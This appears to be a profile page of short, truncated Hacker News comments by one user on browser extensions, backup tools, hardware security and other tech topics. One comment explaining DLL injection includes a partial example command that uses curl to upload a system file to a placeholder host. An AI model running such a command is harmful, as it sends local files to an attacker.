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Why are you moving the goalposts? Your question was specifically how to completely disable it, not how to lobby AMD/Intel into removing the feature from the silicon...
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> Huawei networking hardware is widespread That's an interesting example because Huawei equipment is currently being removed by several Western countries (UK, Canada, US, Germany) specifically because it's Chinese. https:/
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2y ago
Rustic was started by a former restic contributor. My impression at the time was that he was frustrated with poor collaboration from restic maintainers (slow/no response to his PRs). So it's a bit more than just "rewrite-it-i
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2y ago
> it's the kind of thing that even a shitty search engine won't be fooled by Searching `Zendesk alternative` (no s, no quotes): - Google shows it in the top 5 results. - Bing shows it on the second page. - Brave shows it in the
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2y ago
When someone says "I can't afford to leave" they're rarely talking about the transport specifically, don't be so obtuse.
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2y ago
> I think it's one of the reasons we have to be self sustaining on other heavenly bodies. But who will inhabit those other bodies? Humans? The same species that destroyed earth in your scenario? What makes you think that living on M
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2y ago
Indeed the average base spirit has 2-3 calorie per millilitre. This is 5-6x the amount found in coca cola or pepsi. But then again, the quantities are also much less than when drinking soft drinks (hopefully).
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2y ago
The more likely reason is that .site was cheaper.
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2y ago
Injecting a DLL in the browser implies code running with the browser's permissions, which means the DLL will be able to access everything on your system. For example `system("curl https://malware.com -F@/etc/
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2y ago
Everything you said has already been done: https://chromewebstore.google.com/detail/ublock-origin-lite/...
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2y ago
uBlock lite can accomplish 2, 3, 4 completely. It's only #1 and #5 that are truly affected by v3. But those two were already pretty limited in chrominum browsers compared to firefox.
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2y ago
> big improvements for animal welfare Is it? It might reduce the amount of animals killed, sure, but it won't improve the well-being of the ones that are still raised.
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2y ago
When you add an account in Thunberbird desktop, it sends your domain to Mozilla. This is namely done for autoconfiguration (populate server names and ports). The problem with this is that it's just a dumb database (it doesn't chec
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2y ago
Mediawiki is trivial to cache, though. For all intent and purposes most hits will be cache hits, and thus "static" content. I'm also shocked at the tens of thousands per month, it can't possibly be hosting alone. It has
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2y ago
iRobot had the same kind of issues with leaked camera photos. Sure, the distinction might help. But Roombas are in no way more secure/less intrusive.
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2y ago
Power stations from Bluetti also have bluetooth always on. It can't be disabled and anyone can connect and turn off the station. So if someone uses it as backup power for a CPAP they're pretty much SOL if a neighbors is playing wi
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2y ago
Defender slows down build times significantly . You can set exclusions of course, but it does get tedious because every time you have a new project you need to add exclusions for its folder and the toolchain. Then every time a toolchain is
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2y ago
Brave is a Chrominum fork that has pledged to keep supporting manifest V2 (at least partially) beyond the removal in 2025: https://brave.com/blog/brave-shields-manifest-v3/
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2y ago
> Ublock doesn’t work for YouTube ads and never has. ublock has always worked for YouTube ads, until the very recent crusade against adblocking.
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2y ago
I don't know whether or not lead in brass can actually be absorbed by the skin but it's interesting to note that key manufacturers were sued for a similar lead content in brass keys: https://oag.ca.gov/news/pr
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2y ago
> an esp32 that I'm not easily finding a part number for so may as well be Tenscilica On their dev board it's the usual esp32-wroom. They also say their esp32 firmware needs esp-idf 4.2, which doesn't support any of the ri
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2y ago
They use Bunny CDN who charge about $10/TB (it can be more or less depending on network choice and bulk). If magecdn doesn't support setting a cap then their "no surprise charges" is misleading. But if they do support ca
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2y ago
Automattic invested in WP Engine ~13 years ago. I don't know if they still own the shares though. https://techcrunch.com/2011/11/15/silverton-automattic-put-1...
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2y ago
I'd like to point out that Justine's claims are usually correct. It's just her shtick (or personality?) to use hyperbole and ego-stroking wording. I can see why some might see it as abrasive (it has caused drama before, namel
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2y ago
I know you're just trying to gotcha me, but as a fellow fan you probably already know that he prefers when people call him by his given name.
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2y ago
His name is Zack, not Jerry. I know, it's confusing.
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2y ago
I don't know about Amazon, but $200 is the price of a reasonable entry-level bike in any large surface store so yes? I know this is HN and people will likely look down on anyone riding a <$2000 bike, but come on.
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2y ago
> America contains many countries other than the USA. "The Americas" contain multiple countries. "America" is just another name for United States of America. North/South/Central is used when talking about th
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The ext file system uses many 32bit counters. Admittedly, version 4 fixed most of that (when formatted with the correct options).
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2y ago
> Send me yours and I'll find a way to dispose of it. I'd send you 100k if I had an income of $593M. If we scale to my actual income, however, it's probably a few pennies. Do you still want it?
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